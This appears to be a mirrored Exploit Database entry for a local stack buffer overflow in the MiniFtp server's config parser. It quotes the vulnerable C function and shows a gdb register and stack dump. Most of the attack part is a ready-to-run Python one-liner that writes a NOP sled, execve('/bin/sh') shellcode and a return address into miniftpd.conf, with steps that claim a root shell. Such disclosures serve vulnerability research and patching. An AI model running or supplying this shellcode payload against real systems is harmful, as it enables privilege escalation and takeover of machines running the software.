MiniFtp – ‘parseconf_load_setting’ Buffer Overflow

• Exploit Database
• 128 阅读

• 作者： strider
  日期： 2019-05-08
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/46807/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83

  # Exploit Title: MiniFtp parseconf_load_setting local-bufferoverflow (318 bytes) # Google Dork: None # Date: 11.04.2019 # Exploit Author: strider # Vendor Homepage: https://github.com/skyqinsc/MiniFtp # Software Link: https://github.com/skyqinsc/MiniFtp # Tested on: Debian 9 Stretch i386/ Kali Linux i386 # CVE : None # Shellcode Length: 318 ------------------------------[Description]---------------------------------   This exploit spawns a shell with root privileges. The exploit will be written into the file miniftpd.conf   vuln code: void parseconf_load_setting(const char *setting){ while(isspace(*setting)) setting++; char key[128] = {0}, value[128] = {0}; str_split(setting, key, value, &apos;=&apos;); if(strlen(value) == 0){ fprintf(stderr, "missing value in config file for : %s\n", key); exit(EXIT_FAILURE); } ....   The given var settings is a *char and will be splitted into key and value key and value are both 128 char long and settings can be longer than 128 + 128 chars. this issue will not be checked and stored. This causes a buffer overflow.   after return it   -----------------------------[Gdb-Peda Dump]--------------------------------- [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x48575250e7894851 RCX: 0xffffffd480050f3b RDX: 0x90 RSI: 0x7fffffffd3a0 --> 0x9090909090909090 RDI: 0x55555555c854 ("download_max_rate") RBP: 0x50f3bc08348e689 RSP: 0x7fffffffd460 --> 0x555555556860 (<_start>: xorebp,ebp) RIP: 0x7fffffffd481 --> 0x9090909090909090 R8 : 0xa (&apos;\n&apos;) R9 : 0x7fffffffd4a0 --> 0x9090909090909090 R10: 0x83a R11: 0x7ffff7891520 (<__strcmp_sse2_unaligned>: moveax,edi) R12: 0x555555556860 (<_start>: xorebp,ebp) R13: 0x7fffffffe200 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7fffffffd478: imul esi,DWORD PTR [rax+0x3d],0x90909090 0x7fffffffd47f: nop 0x7fffffffd480: nop => 0x7fffffffd481: nop 0x7fffffffd482: nop 0x7fffffffd483: nop 0x7fffffffd484: nop 0x7fffffffd485: nop [------------------------------------stack-------------------------------------] 0000| 0x7fffffffd460 --> 0x555555556860 (<_start>: xorebp,ebp) 0008| 0x7fffffffd468 --> 0x55555555b5b2 ("miniftpd.conf") 0016| 0x7fffffffd470 ("max_per_ip=", &apos;\220&apos; <repeats 189 times>...) 0024| 0x7fffffffd478 --> 0x90909090903d7069 0032| 0x7fffffffd480 --> 0x9090909090909090 0040| 0x7fffffffd488 --> 0x9090909090909090 0048| 0x7fffffffd490 --> 0x9090909090909090 0056| 0x7fffffffd498 --> 0x9090909090909090 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00007fffffffd481 in ?? () gdb-peda$     -----------------------------[Exploit]---------------------------------------------   python -c "print &apos;max_per_ip=&apos; + &apos;\x90&apos; * 278 + &apos;\x48\x31\xc0\x48\x31\xd2\x50\x49\xb9\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x41\x51\x48\x89\xe7\x50\x52\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05&apos; + &apos;\x80\xd4\xff\xff\xff\x7f&apos;" > miniftpd.conf     -----------------------------[how to run]-----------------------------   run the line above in a shell   run MiniFtp in gdb and you got a shell